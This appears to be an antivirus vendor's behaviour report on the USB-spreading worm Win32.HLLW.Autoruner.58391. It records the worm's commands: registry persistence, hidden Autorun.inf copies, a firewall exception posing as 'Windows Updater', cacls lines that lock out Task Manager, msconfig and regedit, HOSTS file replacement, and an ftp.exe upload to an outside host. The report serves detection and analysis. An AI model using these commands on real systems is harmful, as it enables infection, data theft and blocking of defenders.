Win32.HLLW.Autoruner.58391

Technical Information

To ensure autorun and distribution:

Modifies the following registry keys:

[<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'System' = '<SYSTEM32>\svcsrss.exe'

Creates the following files on removable media:

<Drive name for removable media>:\Autorun.inf

Malicious functions:

To bypass firewall, removes or modifies the following registry keys:

[<HKLM>\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List] '<SYSTEM32>\svcsrss.exe' = '<SYSTEM32>\svcsrss.exe:*:Enabled:Windows Updater'

Executes the following:

<SYSTEM32>\ping.exe 127.0.0.1 -l 32500 -w 1 -n 1
<SYSTEM32>\ping.exe 127.0.0.1 -l 32500 -w 1 -n 2
<SYSTEM32>\attrib.exe +r +s +h "%HOMEPATH%\ConfiguraЗфes locais\Application Data\Microsoft\CD Burning\svcsrss.exe"
<SYSTEM32>\reg.exe add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v System /t REG_SZ /d "<SYSTEM32>\svcsrss.exe" /f
<SYSTEM32>\attrib.exe +r +s +h "%HOMEPATH%\ConfiguraЗфes locais\Application Data\Microsoft\CD Burning\Autorun.inf"
<SYSTEM32>\attrib.exe -r -s -h C:\Autorun.inf
<SYSTEM32>\attrib.exe +r +s +h <Drive name for removable media>:\Autorun.inf
<SYSTEM32>\attrib.exe +r +s +h <Drive name for removable media>:\svcsrss.exe
<SYSTEM32>\attrib.exe -r -s -h <Drive name for removable media>:\Autorun.inf
<SYSTEM32>\attrib.exe +r +s +h C:\Autorun.inf
<SYSTEM32>\attrib.exe +r +s +h C:\svcsrss.exe
<SYSTEM32>\attrib.exe +r +s +h <SYSTEM32>\svcsrss.exe
<SYSTEM32>\cacls.exe <SYSTEM32>\taskmgr.exe /e /d todos
<SYSTEM32>\taskkill.exe /im ninja.exe /f /t
%WINDIR%\explorer.exe "<Current directory>"
<SYSTEM32>\taskkill.exe /im * /fi "WINDOWTITLE eq svcsrss" /f /t
<SYSTEM32>\cacls.exe %WINDIR%\pchealth\helpctr\binaries\msconfig.exe /e /d todos
<SYSTEM32>\cacls.exe <DRIVERS>\etc\hosts /e /p Todos:f
<SYSTEM32>\ftp.exe -s:<SYSTEM32>\config\firmware.LOG ftp.xpg.com.br
<SYSTEM32>\ipconfig.exe
<SYSTEM32>\reg.exe add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List /v <SYSTEM32>\svcsrss.exe /t REG_SZ /d "<SYSTEM32>\svcsrss.exe:*:Enabled:Windows Updater" /f
<SYSTEM32>\cacls.exe "<SYSTEM32>\regedit" /e /c /d Todos

Modifies file system :

Creates the following files:

<SYSTEM32>\config\firmware.LOG
C:\Autorun.inf
<SYSTEM32>\config\USER-4BB09A9C02.LOG
%TEMP%\~1.bat
<SYSTEM32>\regedit

Sets the 'hidden' attribute to the following files:

<Drive name for removable media>:\Autorun.inf
C:\Autorun.inf
%TEMP%\~1.bat

Deletes the following files:

<SYSTEM32>\config\firmware.LOG
<SYSTEM32>\config\USER-4BB09A9C02.LOG

Moves the following system files:

from <DRIVERS>\etc\hosts to <DRIVERS>\etc\host1

Substitutes the HOSTS file.

Network activity:

Connects to:

'localhost':1039
'ft#.#pg.com.br':21

UDP:

DNS ASK ft#.#pg.com.br

Miscellaneous:

Searches for the following windows:

ClassName: '' WindowName: ''

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Technical Information